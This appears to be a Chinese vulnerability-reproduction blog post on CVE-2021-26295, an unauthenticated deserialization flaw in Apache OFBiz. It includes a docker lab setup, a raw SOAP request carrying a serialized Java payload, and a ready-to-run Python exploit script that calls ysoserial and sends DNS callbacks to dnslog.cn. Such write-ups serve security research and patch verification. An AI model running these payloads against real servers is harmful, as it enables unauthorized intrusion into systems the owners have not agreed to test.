Apache OFBiz rmi反序列化(CVE-2021-26295)复现
2021-03-25 14:47:15 Author: www.freebuf.com(查看原文) 阅读量:237 收藏

v2-bb7a4a6fdf598187574a048f6d02fafb_1440w.png

一、漏洞描述

Apache OFBiz存在RMI反序列化前台命令执行,未经身份验证攻击者可构造恶意请求,触发反序列化,从而造成任意代码执行,控制服务器。

二、影响范围

Apache OFBiz:<17.12.06

三、环境搭建&漏洞复现

docker run -d -p 8000:8080 -p 8443:8443 opensourceknight/ofbiz

拉取镜像

v2-08a62956550b6f2f69ef847a668db0d4_1440w.png

漏洞复现:

v2-f859e79d8a6e64d08ddac55e4463c9ae_1440w.png

encode脚本:

import binascii filename = 'thelostworld.ot' with open(filename, 'rb') as f: content = f.read() print(binascii.hexlify(content))

POC:

POST /webtools/control/SOAPService HTTP/1.1 Host: 192.168.0.115:8443 Content-Type: application/xml Content-Length: 831 ​ <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <ser> <map-HashMap> <map-Entry> <map-Key> <cus-obj>aced00057372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00014c0004686f737471007e00014c000870726f746f636f6c71007e00014c000372656671007e00017870ffffffffffffffff7400177478663737372e7234343976762e646e736c6f672e636e74000071007e0003740004687474707078</cus-obj> </map-Key> <map-Value> <std-String value="http://noxj3z.dnslog.cn"/> </map-Value> </map-Entry> </map-HashMap> </ser> </soapenv:Body> </soapenv:Envelope>

python3 OFBizPoc.py "https://192.168.0.115:8443/" "http://68zfh0.dnslog.cn"

v2-967b43a28d85bbbb1229a2cb8264acf0_1440w.png

脚本:Powered by 0x141 Team ShimizuKawasaki

import requests import sys import subprocess from urllib3.exceptions import InsecureRequestWarning ​ ​ def trans(s): return "%s" % ''.join('%.2x' % x for x in s) ​ if __name__ == '__main__': print(''' ​ ========================================= ____ ______ ____ _ _____ ____ _____ / __ \| ____| _ \(_) | __ \ / __ \ / ____| | | | | |__ | |_) |_ ____ | |__) | | | | | | | | | __| | _ <| |_ / | ___/| | | | | | |__| | | | |_) | |/ / | | | |__| | |____ \____/|_| |____/|_/___| |_| \____/ \_____| Powered by 0x141 Team ShimizuKawasaki ========================================= ​ ''') host = sys.argv[1] comForKey = sys.argv[2] popen = subprocess.Popen(['java','-jar', 'ysoserial.jar', "URLDNS", comForKey], stdout=subprocess.PIPE) data = popen.stdout.read() if len(data) == 0: print("请在当前脚本目录放置ysoserial.jar!") else : hex_data = trans(data) headers = {'Content-Type': 'text/xml'} post_data = '''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/"><ns1:cus-obj>%s</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>''' % hex_data requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) res = requests.post('%s/webtools/control/SOAPService' % host , data = post_data , headers = headers , verify=False) if res.status_code == 200 : print("已经测试完成,请检查你的dnslog: " + comForKey)

参考:

https://mp.weixin.qq.com/s/s2glEvy-jrD1CDzuOCGbbg

https://mp.weixin.qq.com/s/XT2P6vB8e2pDp3_Dulfzhw

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

订阅查看更多复现文章、学习笔记

thelostworld

安全路上,与你并肩前行!!!!

v2-ecdfe0b7f2dd19a1c854653de344b092_1440w.jpg

个人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书:https://www.jianshu.com/u/bf0e38a8d400

个人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html

个人博客园:https://www.cnblogs.com/thelostworld/

FREEBUF主页:https://www.freebuf.com/author/thelostworld?type=article

语雀博客主页:https://www.yuque.com/thelostworld

v2-4b029825345899d23992b40ada6b2840_1440w.png

欢迎添加本公众号作者微信交流,添加时备注一下“公众号”v2-0d302ca3ab5381e8c1ab1065bf16271a_1440w.png


文章来源: https://www.freebuf.com/vuls/267462.html
如有侵权请联系:admin#unsafe.sh